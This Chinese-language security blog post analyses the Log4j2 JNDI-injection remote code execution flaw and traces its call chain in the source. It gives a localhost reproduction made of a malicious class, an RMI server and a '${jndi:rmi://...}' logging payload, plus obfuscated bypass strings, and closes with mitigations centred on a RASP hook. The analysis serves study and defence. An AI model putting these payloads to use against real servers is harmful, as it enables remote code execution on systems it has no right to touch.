没能赶上Struts2和Fastjson的顺风车,好在Log4j2也算是见证了历史。
漏洞描述
2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${}
关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
影响版本:
- 2.0 <= Apache log4j <= 2.14.1
RCE版本限制:
- JDK 6u211-、7u201-、 8u191-、 11.0.1-
漏洞复现
Log4j2 RCE漏洞本质上还是JNDI注入漏洞:
- 在 pom 中添加下方 dependency
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
- 构造恶意class文件
public class EvilObject {
public EvilObject() throws Exception {
Runtime.getRuntime().exec("open -a Calculator");
}
}
编译 EvilObject.java,生成 EvilObject.class,将EvilObject.class文件移动到其他目录,并把java源码全部注释。(防止server端绑定时从本地直接加载)
在 EvilObject.class所在目录运行python -m SimpleHTTPServer 20022
。
- server端绑定恶意对象
public class Server {
public static void main(String[] args)throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject","EvilObject","http://127.0.0.1:20022/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("evil",refObjWrapper);
}
}
- client端触发漏洞
public class Client {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:rmi://127.0.0.1:1099/evil}");
}
}
影响范围
这个仓库归纳了受影响的厂商和组件,厂商包括Apple、Tencent、Steam、Twitter… 组件包括Apache Solr、Apache Druid …
漏洞分析
在 Log4j2的官方文档中可以看见,其对 JNDI Lookup 做了支持:
Log4j2 使用 org.apache.logging.log4j.core.pattern.MessagePatternConverter
来对日志消息进行处理,在实例化 MessagePatternConverter 时会从 Properties 及 Options 中获取配置来判断是否需要关闭 Lookups 功能。
在org.apache.logging.log4j.core.util.Constants
默认配置可以看到,log4j2.formatMsgNoLookups
是关闭的,因此noLookups
返回false,表明其默认支持Lookups 功能
public static final boolean FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS = PropertiesUtil.getProperties().getBooleanProperty("log4j2.formatMsgNoLookups", false);
下面正式进入调用链,再次回到org.apache.logging.log4j.core.pattern.MessagePatternConverter
,进入format
方法
- 在第一个红框内,首先判断了是否关闭了noLookups,返回false,表明开启Lookups功能。
- 第二个红框内,对workingBuilder **(View Text中的内容) 进行了遍历,判断是否有
${
开头的内容,之后匹配完整内容,返回为 **value - 第三个红框,生成了一个StrSubstitutor对象,对value进行
replace()
操作。
伏笔一:StrSubstitutor是什么?
StrSubstitutor是Log4j2中字符替换处理的关键类,其中定义了大量的全局常量,在匹配时对其进行处理。后续的绕过就会用到这里的特性。
再跟进replace()
方法,我们进入了字符处理的核心方法org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute()
:
前半部分的逻辑比较麻烦,是通过 while 循环来进行不断匹配从而取出 ${ }
中间的值,如果又匹配到${
,则跳出来继续匹配}
,以处理嵌套的value,比如:${abc${abc}zxc}
。
在没有匹配到变量赋值或处理结束后,将会调用 resolveVariable
方法解析满足 Lookup 功能的语法。
resolveVariable
中先会调用this.getVariableResolver();
获取到所有的resolver。
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
resolver 是 StrLookup的实例对象,Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator
类来代理所有的 StrLookup
实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。
可以看到除了jndi
,还有很多其他类型的strLookupMap,这为我们的攻击拓展埋下了伏笔二。
下面进入 resolver.lookup()
首先对value截取:
,也就是提取了前4个字符jndi
,然后从上面所说的strLookupMap中获取这个对象,最后调用Jndiookup.lookup()
也就是最终sink点,触发漏洞。
绕过与拓展
之前说到StrSubstitutor中定义了许多关键常量,比如:-
,如果程序处理到 ${abcd:-efgh}
这样的字符串,处理的结果将会是 efgh
,:-
关键字将会被截取掉,而之前的字符串都会被舍弃。那么以下这种方式的构造是可以执行的:
logger.error("${${123:-j}${456:-n}di:rmi://127.0.0.1:1099/evil}");
绕过方式还有很多,这个仓库总结了绝大多数绕过的方法。
回到伏笔二,除了jndi
,log4j2还支持其他Lookup类型
利用其他的类型,可以增加绕过的方式,或者在无法RCE的时候进行信息泄漏,这个仓库保留有信息泄漏可以利用的攻击面。举个例子:
当然这种攻击只是打在了本地,还需要通过DNSLOG回显带出数据:
漏洞防范
漏洞爆发当晚可谓是一个不眠之夜,各大安全厂商发文章,改规则,这里粘贴 奇安信威胁情报中心 的修复建议。
2022.3.3补充:
a. 升级到最新版本,这自然是最优解。但是,在Poc披露期间,如果还没有稳定的修复版本,有什么办法可以避免攻击呢?
自定义WAF是一种选择,但WAF的本质还是对抗,有WAF就有绕过。在Log4j2那么多中畸形Poc下,短时间内也很难做出完美的对应措施。
回到Log4j2 RCE漏洞的本质 —— JNDI注入,那无非触发点就是最后的lookup
方法,如果我们可以HOOK该方法,在调用此方法时直接返回为空,或者抛出异常,不就从根本上防御了吗?
我们结合 靖云甲 cloudrasp-log4j2 介绍一下RASP(Runtime application self-protection)运行时应用自我保护,下图为官方截图:
该项目分为 core 和 loader 两部分。
loader为启动jar包,分启动前加载和运行时加载两种模式,这里我们不过多阐述Agent的机制,不管哪种方式启动,都会加载 core 。
这里自定义了 ClassLoader 处理core.jar
包,并反射调用其cn.boundaryx.rasp.RASPLauncher
类的launch
方法。之后我们关注放在 core下的HOOK处理。
第一个if语句判断了当前加载类名,只有运行到 javax/naming/InitialContext
我们再进一步处理。
跟进JndiHook.transform(ctClass)
,再跟进到beforeMethod()
,getEnhancedCodeWithException
方法生成了一段代码块,并在下方的BytecodeUtils.insertBefore()
中插入到指定的方法lookup
调用前。
调试发现,插入代码为红框里的内容,其执行了cn.boundaryx.rasp.analyzer.checkJndiStr()
,对jvm栈帧进行了分析,如果匹配到org.apache.logging.log4j.core.lookup.Interpolator.lookup
,则抛出自定义异常RASPSecurityException
。
ok我们现在重新梳理一下HOOK的流程:
-
匹配加载的类名
javax.naming.InitialContext
。 - 在
javax.naming.InitialContext.lookup()
,也就是最后触发点前插入一段代码。 - 改代码会优先执行
cn.boundaryx.rasp.analyzer.checkJndiStr()
,该方法会检查栈帧,如果检测到org.apache.logging.log4j.core.lookup.Interpolator.lookup
,则抛出自定义异常RASPSecurityException
。
官方的例子中,拦截到sink点会直接抛出异常。但我在本地尝试的时候,发现的确拦截了命令,但是并没有输出异常:
调试发现 log4j2默认appender
开启了异常忽略,并没能抛出:
我们创建log4j2.xml
文件,在其中写入:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
<Appenders>
<Console name="STDOUT" target="SYSTEM_OUT" ignoreExceptions="false">
<PatternLayout pattern="%m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="STDOUT"/>
</Root>
</Loggers>
</Configuration>
重新运行,即可看到异常,下方还输出了完整调用链:
如果是正在运行的程序,我们还可以通过attach
模式进行代理:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.Scanner;
public class ClinetForRasp {
private static final Logger logger = LogManager.getLogger(ClinetForRasp.class);
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
while (true){
String string = scanner.next();
logger.error(string);
}
}
}
相比于传统WAF,我认为RASP优势在于无需花时间对抗千奇百怪的攻击者poc,而是专注于程序本身,处理好数据流关系,把防守化被动为主动。比如如果预先做好了RASP对JNDI注入的防御,Log4j2 0day 的爆发也无法造成威胁。